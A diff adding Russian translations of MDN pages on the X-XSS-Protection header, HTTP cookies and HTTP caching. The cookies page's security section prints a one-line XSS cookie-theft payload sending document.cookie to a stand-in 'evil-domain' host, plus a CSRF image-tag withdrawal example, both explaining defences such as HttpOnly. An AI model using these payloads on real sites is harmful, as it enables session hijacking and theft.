diff --git a/files/ru/web/http/заголовки/x-xss-protection/index.html b/files/ru/web/http/заголовки/x-xss-protection/index.html
new file mode 100644
index 0000000000..847ec38972
--- /dev/null
+++ b/files/ru/web/http/заголовки/x-xss-protection/index.html
@@ -0,0 +1,87 @@
+---
+title: X-XSS-Protection
+slug: Web/HTTP/Заголовки/X-XSS-Protection
+tags:
+ - HTTP
+ - XSS
+ - Безопасность
+ - Заголовок
+ - Справка
+translation_of: Web/HTTP/Headers/X-XSS-Protection
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок ответа HTTP <strong><code>X-XSS-Protection</code></strong> это особенность Internet Explorer, Chrome и Safari, которая останавливает загрузку страниц при обнаружении ({{Glossary("XSS")}}) атаки. Хотя эти меры защиты не требуются в большинстве случаев для современных браузеров, когда сайты внедряют сильную политику безопасности контента {{HTTPHeader("Content-Security-Policy")}}, которая отключает использование встроенного JavaScript (<code>'unsafe-inline'</code>), они могут обеспечить защиту для пользователей, использующих устаревшие версии браузеров, не поддерживающих {{Glossary("CSP")}}.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">
+ <p>Запрещенное имя заголовка</p>
+
+ <p>{{Glossary("Forbidden header name")}}</p>
+ </th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">X-XSS-Protection: 0
+X-XSS-Protection: 1
+X-XSS-Protection: 1; mode=block
+X-XSS-Protection: 1; report=&lt;reporting-uri&gt;
+</pre>
+
+<dl>
+ <dt>0</dt>
+ <dd>Отключает фильтрацию XSS.</dd>
+ <dt>1</dt>
+ <dd>Включает фильтрацию XSS (по-умолчанию в браузерах). Если будет замечена попытка межсайтового скриптинга(XSS), браузер удалит небезопасное содержимое.</dd>
+ <dt>1; mode=block</dt>
+ <dd>Включает фильтрацию XSS. Вместо того, чтобы очищать содержимое страницы, браузер предотвратит отображение страницы, если заметит атаку.</dd>
+ <dt>1; report=&lt;reporting-URI&gt;  (Chromium only)</dt>
+ <dd>Включает фильтрацию XSS. При обнаружении атаки межсайтового скриптинга, браузер очистит страницу от небезопасного содержимого и сообщит о нарушении. Для отправки отчёта используется функциональные возможности директивы CSP {{CSP("report-uri")}}.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Блокировка загрузки страницы, при обнаружении отражённой (непостоянной) XSS:</p>
+
+<pre class="brush: bash">X-XSS-Protection: 1; mode=block</pre>
+
+<p>PHP</p>
+
+<pre class="brush: php">header("X-XSS-Protection: 1; mode=block");</pre>
+
+<p>Apache (.htaccess)</p>
+
+<pre class="brush: bash">&lt;IfModule mod_headers.c&gt;
+ Header set X-XSS-Protection "1; mode=block"
+&lt;/IfModule&gt;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>Не является частью каких-либо спецификай или черновиков.</p>
+
+<h2 id="Поддерживается_браузерами">Поддерживается браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.X-XSS-Protection")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2011/01/31/controlling-the-xss-filter/">Controlling the XSS Filter – Microsoft</a></li>
+ <li><a href="https://www.virtuesecurity.com/blog/understanding-xss-auditor/">Understanding XSS Auditor – Virtue Security</a></li>
+ <li>
+ <p><a href="http://blog.innerht.ml/the-misunderstood-x-xss-protection/">The misunderstood X-XSS-Protection – blog.innerht.ml</a></p>
+ </li>
+</ul>
diff --git a/files/ru/web/http/куки/index.html b/files/ru/web/http/куки/index.html
new file mode 100644
index 0000000000..154f05cdb0
--- /dev/null
+++ b/files/ru/web/http/куки/index.html
@@ -0,0 +1,173 @@
+---
+title: Куки HTTP
+slug: Web/HTTP/Куки
+tags:
+ - Куки
+translation_of: Web/HTTP/Cookies
+---
+<p>{{HTTPSidebar}}</p>
+
+<p class="summary">HTTP cookie (web cookie, cookie браузера) - это небольшой фрагмент данных, отправляемый сервером на браузер пользователя, который тот может сохранить и отсылать обратно с новым запросом к данному серверу. Это, в частности, позволяет узнать, с одного ли браузера пришли оба запроса (например, для аутентификации пользователя). Они запоминают информацию о состоянии для протокола HTTP, который сам по себе этого делать не умеет.</p>
+
+<p>Cookie используются, главным образом, для:</p>
+
+<p>⦁    Управления сеансом (логины, корзины для виртуальных покупок)<br>
+ ⦁    Персонализации (пользовательские предпочтения)<br>
+ ⦁    Мониторинга (отслеживания поведения пользователя)</p>
+
+<p>До недавнего времени cookie принято было использовать в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API (программные интерфейсы приложения) для хранения данных, это уже не так. Из-за того, что cookie пересылаются с каждым запросом, они могут слишком сильно снижать производительность (особенно в мобильных устройствах). В качестве хранилищ данных на стороне пользователя вместо них можно использовать <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (<code>localStorage</code> and <code>sessionStorage</code>) и<a href="/en-US/docs/Web/API/IndexedDB_API"> IndexedDB</a>.</p>
+
+<div class="note">
+<p>Чтобы посмотреть сохраненные cookies (и какие еще способы хранения данных использует веб-страница), можно использовать <a href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector </a>(Инспектор хранилища) из раздела Developer Tools (Веб-разработка).</p>
+</div>
+
+<h2 id="Создание_cookie">Создание cookie</h2>
+
+<p>Получив HTTP-запрос, вместе с откликом сервер может отправить заголовок  {{HTTPHeader("Set-Cookie")}} с ответом. Cookie обычно запоминаются браузером и посылаются в значении заголовка HTTP  {{HTTPHeader("Cookie")}} с каждым новым запросом к одному и тому же серверу. Можно задать срок действия cookie, а также срок его жизни, после которого cookie не будет отправляться. Также можно указать  ограничения на путь и домен, то есть указать, в течении какого времени и к какому сайту  оно отсылается.</p>
+
+<h3 id="Заголовки_Set-Cookie_и_Cookie">Заголовки <code>Set-Cookie</code> и <code>Cookie</code></h3>
+
+<p>Заголовок {{HTTPHeader("Set-Cookie")}}  HTTP-отклика используется для отправки cookie с сервера на клиентское приложение (браузер). Простой cookie может задаваться так:</p>
+
+<pre class="syntaxbox">Set-Cookie: &lt;имя-cookie&gt;=&lt;заголовок-cookie&gt;</pre>
+
+<p>Этот заголовок с сервера дает клиенту указание сохранить cookie (это делают, например, <a href="http://php.net/manual/en/function.setcookie.php">PHP</a>, <a href="https://nodejs.org/dist/latest-v6.x/docs/api/http.html#http_response_setheader_name_value">Node.js</a>, <a href="https://docs.python.org/3/library/http.cookies.html">Python</a> и <a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a>). Отклик, отправляемый браузеру, содержит заголовок <code>Set-Cookie</code>, и cookie запоминается браузером.</p>
+
+<pre>HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
+
+[page content]</pre>
+
+<p>Теперь, с каждым новым запросом к серверу, при помощи заголовка {{HTTPHeader("Cookie")}} браузер будет возвращать серверу все сохраненные ранее cookies. </p>
+
+<pre>GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry
+</pre>
+
+<h3 id="Сессионные_cookie">Сессионные cookie</h3>
+
+<p>Простой cookie, пример которого приведен выше, представляет собой сессионный <em>cookie</em> (<em>session cookie</em>) - такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты <code>Expires</code> или  <code>Max-Age</code> для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.</p>
+
+<h3 id="Постоянные_cookies">Постоянные cookies</h3>
+
+<p><em>Постоянные cookie</em> ( <em>permanent cookies</em>) удаляются не с закрытием клиента, а при наступлении определенной даты (атрибут <code>Expires</code>) или после определенного интервала времени (атрибут <code>Max-Age</code>).</p>
+
+<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre>
+
+<h3 id="Secure_(безопасные)_и_HttpOnly_cookies">Secure <code>("безопасные") и HttpOnly</code> cookies</h3>
+
+<p>"Безопасные" (secure) cookie отсылаются на сервер только если запрос выполняется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в cookies, поскольку сам их механизм весьма уязвим в отношении безопасности, а флаг <code>secure</code> никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 и Firefox 52, незащищенные сайты (http:) не могут создавать куки с флагом <code>secure</code>.</p>
+
+<p>Куки HTTPonly не доступны из JavaScript через свойства {{domxref("Document.cookie")}} API, что помогает избежать межсайтового скриптинга ({{Glossary("XSS")}}). Устанавливайте этот флаг для тех cookie, к которым не требуется обращаться через JavaScript. В частности, если куки используются только для поддержки сеанса, то в JavaScript они не нужны, так что в этом случае следует устанавливать флаг <code>HttpOnly</code>.</p>
+
+<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre>
+
+<h3 id="Область_видимости_куков">Область видимости куков</h3>
+
+<p><code>Директивы Domain</code>  <code>и Path </code>определяют область видимости куки, то есть те URL'ы, к которым куки могут отсылаться.<br>
+ Атрибут Domain указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берется доменная часть адреса документа (но без поддоменов).  Если домен указан явно, то поддомены всегда включены.</p>
+
+<p>Например, если задано <code>Domain=mozilla.org</code>, то куки включены и в поддоменах, например, в <code>developer.mozilla.org</code>.</p>
+
+<p>Атрибут Path указывает URL, который должен быть в запрашиваемом ресурсе на момент отправки заголовка Cookie.  Символ %x2F ("/") интерпретируется как разделитель разделов, подразделы также включаются.</p>
+
+<p>Если задано Path=/docs, то подходят и такие пути, как:</p>
+
+<ul>
+ <li>"/docs",</li>
+ <li>"/docs/Web/",</li>
+ <li>"/docs/Web/HTTP"</li>
+</ul>
+
+<h3 id="Куки_SameSite_experimental_inline">Куки <code>SameSite</code> {{experimental_inline}}</h3>
+
+<p>Куки SameSite позволяют серверам декларировать, что куки не должны отсылаться с межсайтовыми запросами, что в некотором роде обеспечивает защиту от межсайтовых подделок запроса ({{Glossary("CSRF")}}). Куки <code>SameSite</code> находятся пока в стадии эксперимента и поддерживаются не всеми браузерами.</p>
+
+<h3 id="Доступ_из_JavaScript_посредством_Document.cookie">Доступ из JavaScript посредством <code>Document.cookie</code></h3>
+
+<p>Куки можно создавать через JavaScript при помощи свойства {{domxref("Document.cookie")}}. Если флаг <code>HttpOnly</code> не установлен, то и доступ к существующим cookies можно получить через JavaScript.</p>
+
+<pre class="brush: js">document.cookie = "yummy_cookie=choco";
+document.cookie = "tasty_cookie=strawberry";
+console.log(document.cookie);
+// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre>
+
+<p>Учитывайте, пожалуйста, вытекающие из этого проблемы в отношении безопасности, подчеркнутые ниже (раздел <a href="/en-RU/docs/Web/HTTP/Cookies#Security">Security</a>). Куки, доступные для JavaScript, могут быть похищены посредством XSS.</p>
+
+<ul>
+</ul>
+
+<h2 id="Безопасность">Безопасность</h2>
+
+<div class="note">
+<p>Важная информация никогда не должна храниться или передаваться в куках HTTP, поскольку этот механизм сам по себе небезопасен.</p>
+</div>
+
+<h3 id="Захват_сессии_(session_hijacking)_и_XSS">Захват сессии (session hijacking) и XSS</h3>
+
+<p>Куки часто используются в веб-приложениях для идентификации пользователя и сеанса работы, в котором он прошел процедуру аутентификации. Соответственно, похищение куков из приложения может привести к захвату авторизованного сеанса пользователя. Кража куков часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости приложения для {{Glossary("XSS")}}.</p>
+
+<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre>
+
+<p>Атрибут HttpOnly помогает понизить эту угрозу, перекрывая доступ к кукам из JavaScript..</p>
+
+<h3 id="Межсайтовая_подделка_запроса_(CSRF_-_Cross-site_request_forgery)">Межсайтовая подделка запроса (CSRF - Cross-site request forgery)</h3>
+
+<p>В <a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedia</a> приведен хороший пример {{Glossary("CSRF")}}. В сообщение (например, в чате или на форуме) включают (якобы) изображение, которое, на самом деле, представляет собой запрос к банковскому серверу на снятие денег:</p>
+
+<pre class="brush: html">&lt;img src="http://bank.example.com/withdraw?account=bob&amp;amount=1000000&amp;for=mallory"&gt;</pre>
+
+<p>Теперь, если вы зашли в свой банковский аккаунт, а куки по-прежнему действительны (и никакой дополнительной проверки не требуется), то при загрузке HTML-документа с этим изображением деньги будут переведены с вашего счета. Для защиты от этого изпользуется ряд методов:</p>
+
+<ul>
+ <li>Как и при {{Glossary("XSS")}}, важна фильтрация входящей информации.</li>
+ <li>Для любой важной операции должно запрашиваться подтверждение.</li>
+ <li>Куки, используемые для ответственных операций, должны иметь короткий срок действия.</li>
+ <li>Дополнительную информацию можно получить в пользовательской инструкции по предотвращению <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF</a>.</li>
+</ul>
+
+<h2 id="Отслеживание_и_частные_данные">Отслеживание и частные данные</h2>
+
+<h3 id="Сторонние_(Third-party)_куки">Сторонние (Third-party) куки</h3>
+
+<p>Куки связаны с определенным доменом. Если он совпадает с доменом страницы, на которой вы находитесь, то их называют "<em>куками первого лица</em>" (first-party cookies). Если это другой домен, их называют "<em>сторонними куками</em>" (<em>third-party cookies</em>). Куки первого лица отсылаются только на тот сервер, который их создал. Однако, страница может содержать изображения или другие компоненты (например, рекламные баннеры), хранящиеся на других серверах. Куки, посылаемые через такие компоненты, используются, главным образом, в рекламных целях или для отслеживания информации в сети. В качестве примера можно рассмотреть <a href="https://www.google.com/policies/technologies/types/">типы файлов cookie, используемые Google</a>. Большинство браузеров по умолчанию разрешают использование сторонних куков, но есть расширения, позволяющие их блокировать (например, <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> от <a href="https://www.eff.org/">EFF</a>).</p>
+
+<p>Если вы не сообщите об использовании сторонних куков, а пользователь обнаружит их самостоятельно, то доверие к вам может пошатнуться. Чтобы избежать этого, лучше предоставлять соответствующую информацию. В некоторых странах использование куков регламентируется законодательством. Прочитать об этом можно, например, в Википедии в разделе <a href="https://wikimediafoundation.org/wiki/Cookie_statement">cookie statement </a>(создание куков).</p>
+
+<h3 id="Не_отслеживать_(Do-Not-Track)">Не отслеживать (Do-Not-Track)</h3>
+
+<p>Для запрета на отслеживание со стороны приложения, или межсайтового отслеживания, можно использовать заголовок {{HTTPHeader("DNT")}}, хотя технических или законодательных требований на этот счет нет. Подробнее об этом рассказывается в разделе заголовок {{HTTPHeader("DNT")}}.</p>
+
+<h3 id="Директива_Евросоюза_о_куках">Директива Евросоюза о куках</h3>
+
+<p>Правила по использованию куков в Евросоюзе (ЕС) определены в Директиве 2009/136/EC Европарламента (<a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a>), вступившей в действие 25 мая 2011. Это не закон, как таковой, а рекомендация странам-членам ЕС принять законы, соответствующие её требованиям. В каждой стране на этот счет могут быть свои законы.</p>
+
+<p>Согласно этой директиве для хранения или извлечения информации с компьютера пользователя требуется проинформировать его и получить соответствующее разрешение. С момента её появления многие сайты добавили баннеры, информирующие пользователя об использовании куков.</p>
+
+<p>Подробнее об этом можно прочитать в соответствующем разделе Википедии (<a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">Wikipedia</a>). За наиболее полной и точной информацией обращайтесь к законодательствам конкретных стран.</p>
+
+<h3 id="Куки-зомби_и_вечные_куки">Куки-зомби и "вечные" куки</h3>
+
+<p>Более радикальный подход к кукам представляют собой куки-зомби, или "вечные" куки, которые восстанавливаются после удаления, и полное удаление которых умышленно затруднено. Они используют прикладные интерфейсы веб-хранилищ (<a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a>), Flash Local Shared Objects и другие методы собственного воссоздания в случае, если обнаружено их отсутствие.</p>
+
+<ul>
+ <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">Zombie cookies on Wikipedia</a></li>
+</ul>
+
+<h2 id="Читайте_также">Читайте также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Set-Cookie")}}</li>
+ <li>{{HTTPHeader("Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+ <li>{{domxref("Navigator.cookieEnabled")}}</li>
+ <li><a href="/en-US/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li>
+ <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie specification: RFC 6265</a></li>
+ <li><a class="external" href="https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/">Nicholas Zakas article on cookies</a></li>
+ <li><a class="external" href="https://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Nicholas Zakas article on cookies and security</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie on Wikipedia</a></li>
+</ul>
diff --git a/files/ru/web/http/кэширование/index.html b/files/ru/web/http/кэширование/index.html
new file mode 100644
index 0000000000..8e472eb126
--- /dev/null
+++ b/files/ru/web/http/кэширование/index.html
@@ -0,0 +1,165 @@
+---
+title: HTTP-кеширование
+slug: Web/HTTP/Кэширование
+tags:
+ - HTTP
+ - Кеширование
+ - Кэширование
+ - Руководство
+translation_of: Web/HTTP/Caching
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>Производительность веб-сайтов и приложений можно значительно повысить за счет повторного использования ранее полученных ресурсов. Веб-кеши сокращают задержку и снижают сетевой траффик, уменьшая тем самым время, необходимое для отображения ресурсов. Используя HTTP-кеширование, сайты становятся более отзывчивыми.</strong></p>
+
+<h2 id="Различные_виды_кеширования">Различные виды кеширования</h2>
+
+<p>Техника кеширования заключается в сохранении копии полученного ресурса для возврата этой копии в ответ на дальнейшие запросы. Запрос на ресурс, уже имеющийся в веб-кеше, перехватывается, и вместо обращения к исходному серверу выполняется загрузка копии из кеша. Таким образом снижается нагрузка на сервер, которому не приходится самому обслуживать всех клиентов, и повышается производительность — кеш ближе к клиенту и ресурс передается быстрее. Кеширование является основным источником повышения производительности веб-сайтов. Однако, кеш надо правильно сконфигурировать: ресурсы редко остаются неизменными, так что копию требуется хранить только до того момента, как ресурс изменился, но не дольше.</p>
+
+<p>Существует несколько видов кешей, которые можно разделить на две основные категории: приватные кеши и кеши совместного использования. В кешах совместного использования (shared cache) хранятся копии, которые могут направляться разным пользователям. Приватный кеш (private cache) предназначен для отдельного пользователя. Здесь будет говориться в основном о кешах браузеров и прокси, но существуют также кеши шлюзов, CDN, реверсные прокси кеши и балансировщики нагрузки, разворачиваемые на серверах для повышения надежности, производительности и масштабируемости веб-сайтов и веб-приложений.</p>
+
+<p><br>
+ <br>
+  </p>
+
+<p><img alt="What a cache provide, advantages/disadvantages of shared/private caches." src="https://mdn.mozillademos.org/files/13777/HTTPCachtType.png" style="height: 573px; width: 910px;"></p>
+
+<h3 id="Приватный_private_кеш_браузера">Приватный (private) кеш браузера</h3>
+
+<p>Приватный кеш предназначен для отдельного пользователя. Вы, возможно, уже видели параметры кеширования в настройках своего браузера. Кеш браузера содержит все документы, загруженные пользователем по HTTP. Он используется для доступа к ранее загруженным страницам при навигации назад/вперед, позволяет сохранять страницы, или просматривать их код, не обращаясь лишний раз к серверу. Кроме того, кеш полезен при отключении от сети.</p>
+
+<h3 id="Общий_shared_прокси-кеш">Общий (shared) прокси-кеш</h3>
+
+<p>Кеш совместного использования — это кеш, который сохраняет ответы, чтобы их потом могли использовать разные пользователи. Например, в локальной сети вашего провайдера или компании, может быть установлен прокси, обслуживающий множество пользователей, чтобы можно было повторно использовать популярные ресурсы, сокращая тем самым сетевой траффик и время ожидания.</p>
+
+<h2 id="Цели_кеширования">Цели кеширования</h2>
+
+<p>Кеширование в HTTP не является обязательным, однако в большинстве случаев бывает полезно повторно использовать ранее сохраненные ресурсы. Тем не менее, стандартные кеши HTTP обычно способны кешировать только ответы на запросы методом {{HTTPMethod("GET")}}, а другие отклоняют.</p>
+
+<p>Первичный ключ состоит из метода запроса и запрашиваемого URI (зачастую используется только URI, поскольку целью кеширования являются только GET-запросы). Вот примеры того, что обычно записывается в кеш:</p>
+
+<ul>
+ <li>Успешно загруженные ресурсы: ответ {{HTTPStatus(200)}} <code>OK</code> на запрос методом {{HTTPMethod("GET")}} HTML-документов, изображений или файлов.</li>
+ <li>Постоянные перенаправления: ответ {{HTTPStatus (301)}} <code>Moved Permanently</code> («перемещено навсегда»).</li>
+ <li>Сообщения об ошибках: ответ {{HTTPStatus(404)}} <code>Not Found</code> («не найдено»).</li>
+ <li>Неполные результаты: ответ {{HTTPStatus(206)}} <code>Partial Content</code> («частичное содержимое»).</li>
+ <li>
+ <p>Ответы на запросы отличные от {{HTTPMethod("GET")}}, если есть что-либо, подходящее для использования в качестве ключа кеша.</p>
+ </li>
+</ul>
+
+<p>Запись в кеше может также состоять из множества ответов, различаемых по вторичному ключу, если при формировании ответа производится согласование данных. Подробнее об этом рассказано <a href="#Varying_responses">ниже</a>, в разделе, посвященном заголовку {{HTTPHeader("Vary")}}.</p>
+
+<h2 id="Управление_кешированием"><span class="long_text short_text" id="result_box" lang="ru"><span>Управление</span> </span>кеш<span class="long_text short_text" lang="ru"><span>ированием</span></span></h2>
+
+<h3 id="Заголовок_Cache-control">Заголовок <code>Cache-control</code></h3>
+
+<p>Поле {{HTTPHeader("Cache-Control")}} общего заголовка HTTP/1.1 используется для задания инструкций по механизму кеширования как в запросах, так и в ответах. Применяется для задания политик кеширования.</p>
+
+<h4 id="Полное_отсутствие_кеширования">Полное отсутствие кеширования</h4>
+
+<p>В кеше не должно сохраняться ничего — ни по запросам клиента, ни по ответам сервера. Запрос всегда отправляется на сервер, ответ всегда загружается полностью.</p>
+
+<pre class="notranslate">Cache-Control: no-store
+Cache-Control: no-cache, no-store, must-revalidate
+</pre>
+
+<h4 id="Кешировать_но_проверять_актуальность">Кешировать, но проверять актуальность</h4>
+
+<p>Перед тем, как выдать копию, кеш запрашивает исходный сервер на предмет актуальности ресурса.</p>
+
+<pre class="notranslate">Cache-Control: no-cache</pre>
+
+<h4 id="Приватные_private_и_общие_public_кеши">Приватные (private) и общие (public) кеши</h4>
+
+<p>Директива "public" указывает, что ответ можно сохранять в любом кеше. Это бывает полезно, если возникает потребность сохранить страницы с HTTP-аутентификацией, или такими кодами ответа, которые обычно не кешируются. Директива же "private" указывает, что ответ предназначен отдельному пользователю и не должен храниться в кеше совместного использования. В этом случае ответ может сохраняться приватным кешем браузера.</p>
+
+<pre class="notranslate">Cache-Control: private
+Cache-Control: public
+</pre>
+
+<h4 id="Срок_действия_Expiration">Срок действия (Expiration)</h4>
+
+<p>Самой важной здесь является директива "max-age=&lt;seconds&gt;" — максимальное время, в течение которого ресурс считается "свежим". В отличие от директивы {{HTTPHeader("Expires")}}, она привязана к моменту запроса. К неизменяющимся файлам приложения обычно можно применять "агрессивное" кеширование. Примером таких статических файлов могут быть изображения, файлы стилей (CSS) или скриптов (JavaScript).</p>
+
+<p>Подробнее об этом рассказывается в разделе <a href="#Freshness">Свежесть ресурса</a>.</p>
+
+<pre class="notranslate">Cache-Control: max-age=31536000</pre>
+
+<h4 id="Проверка_актуальности">Проверка актуальности</h4>
+
+<p>При использовании директивы "must-revalidate" кеш обязан проверять статус ресурсов с истекшим сроком действия. Те копии, что утратили актуальность, использоваться не должны. Подробнее об этом рассказано ниже, в разделе <a href="#Cache_validation">Валидация кеша</a>.</p>
+
+<pre class="notranslate">Cache-Control: must-revalidate</pre>
+
+<h3 id="Заголовок_Pragma">Заголовок <code>Pragma </code></h3>
+
+<p>{{HTTPHeader("Pragma")}} является заголовком HTTP/1.0. Он не описан для HTTP-ответов и, таким образом, не может служить надежной заменой общему заголовку Cache-Control протокола HTTP/1.1, хотя его поведение аналогично "Cache-Control: no-cache" когда поле заголовка Cache-Control опущено в запросе. Использовать его следует только для совместимости с клиентами HTTP/1.0.</p>
+
+<h2 id="Свежесть_сохраненной_копии"><a id="Freshness" name="Freshness">Свежесть сохраненной копии</a></h2>
+
+<p>Однажды попав в кеш, ресурс, теоретически, может храниться там вечно. Однако, поскольку объем хранилища конечен, записи периодически приходится оттуда удалять.  Этот процесс называют <em>вытеснением данных из кеша</em> (cache eviction). Кроме того, ресурсы могут изменяться на сервере, поэтому кеш требуется обновлять. Поскольку HTTP является клиент-серверным протоколом, сервера не могут сами обращаться к кешам и клиентам при изменении ресурса; им необходимо договориться о сроке действия сохраненной копии. До его истечения ресурс считается <em>свежим </em>(fresh), после — <em>устаревшим </em>(stale). Алгоритмы вытеснения отдают предпочтение "свежим" ресурсам. Тем не менее, копия ресурса не удаляется из кеша сразу же по истечении ее срока действия; при получении запроса на устаревший ресурс кеш передаёт его дальше с заголовком {{HTTPHeader("If-None-Match")}} на случай, если копия все еще актуальна. Если это так, сервер возвращает заголовок {{HTTPStatus("304")}} <code>Not Modified</code> («не изменялось»), а тело ресурса не посылает, экономя тем самым траффик.</p>
+
+<p>Вот пример того, как протекает этот процесс при использовании совместного кеша прокси:</p>
+
+<p><img alt="Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale." src="https://mdn.mozillademos.org/files/13771/HTTPStaleness.png" style="height: 910px; width: 822px;"></p>
+
+<p>Срок действия (freshnessLifetime) вычисляется на основании нескольких заголовков. Если задан заголовок "Cache-control: max-age=N", то срок действия равен N. Если его нет, а это бывает очень часто, проверяется заголовок {{HTTPHeader("Expires")}}, и, если он есть, то срок действия берется равным значению заголовка Expires минус значение заголовка Date. Наконец, если нет ни того ни другого, смотрят заголовок Last-Modified.  Если он есть, то срок действия равен значению заголовка Date минус значение заголовка Last-modified разделить на 10.<br>
+ Время устаревания (expirationTime) вычисляется следующим образом:</p>
+
+<pre class="notranslate">expirationTime = responseTime + freshnessLifetime - currentAge
+</pre>
+
+<p>где responseTime — это время получения ответа по часам браузера, а currentAge — текущий возраст кеша.</p>
+
+<h3 id="Обновление_статических_ресурсов_Revved_resources">Обновление статических ресурсов (Revved resources)</h3>
+
+<p>Чем больше ресурсов может быть взято из кеша, тем быстрее сайт реагирует на запросы и тем выше его производительность. Из этих соображений их "срок годности" имеет смысл делать как можно большим. Однако, возникает проблема с ресурсами, которые обновляются редко и нерегулярно. Как раз их кеширование дает больше всего выгоды, но сильно затрудняет обновление. Такие ресурсы можно найти на любой веб-странице: файлы скриптов (JavaScript) и стилей (CSS) изменяются редко, но уж если это произошло, обновление надо произвести как можно быстрее.</p>
+
+<p>Веб-разработчики разработали метод, который Стив Сандерс (Steve Sounders) назвал <em>revving</em><sup><a href="https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/">[1]</a></sup>, что можно перевести как "оборачиваемость". Для редко обновляемых файлов используют особый способ именования: в их URL, обычно в имя файла, добавляют номер релиза или версии. Таким образом, каждая новая версия считается отдельным ресурсом, срок устаревания которого отодвинут далеко в будущее, как правило, на год, или больше. Недостатком этого метода является то, что для получения новых версий ресурса приходится обновлять все ссылки на него — это некоторое усложнение, справиться с которым разработчику помогает цепочка инструментов. Обновление статических ресурсов влечет за собой обновление и часто изменяемых ресурсов. Когда считываются первые, считываются и новые версии вторых.</p>
+
+<p>Этот метод имеет дополнительное достоинство: одновременное обновление двух кешированных ресурсов не приводит к ситуации, при которой устаревшая версия одного ресурса используется вместе новой версией другого. Это очень важно для сайтов с взаимосвязанными файлами стилей CSS или JS-скриптов — связь может возникнуть, например, из-за ссылок на одни и те же элементы HTML-страницы.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13779/HTTPRevved.png"></p>
+
+<p>Номер версии, добавляемый к статическому ресурсу, не обязательно записывать в виде стандартного номера версии наподобие 1.1.3, или другого возрастающего числового значения. Это может быть что угодно, позволяющее избежать совпадений — например, дата.</p>
+
+<h2 id="Валидация_кеша"><a id="Cache_validation" name="Cache_validation">Валидация кеша</a></h2>
+
+<p>Валидация кеша запускается при нажатии пользователем кнопки перезагрузки. Кроме того, она может выполняться в ходе обычного просмотра страниц, если кешированный ответ включает заголовок "Cache-control: must-revalidate". Другим фактором являются настройки кеширования браузера — можно потребовать принудительной валидации при каждой загрузке документа.</p>
+
+<p>При истечении срока годности документа он либо проходит валидацию, либо повторно доставляется с сервера. Валидация может выполняться только если на сервере реализован <em>сильный валидатор </em>или <em>слабый валидатор</em>.</p>
+
+<h3 id="Заголовки_ETag">Заголовки ETag</h3>
+
+<p>Заголовок ответа {{HTTPHeader("ETag")}} является непрозрачным для клиентского приложения (агента) значением, которое можно использовать в качестве сильного валидатора. Суть в том, что клиент, например, браузер, не знает, что представляет эта строка и не может предсказать, каким будет ее значение. Если в ответе присутствует заголовок <code>ETag</code>, клиент может транслировать его значение через заголовок {{HTTPHeader("If-None-Match")}} будущих запросов для валидации кешированного ресурса.</p>
+
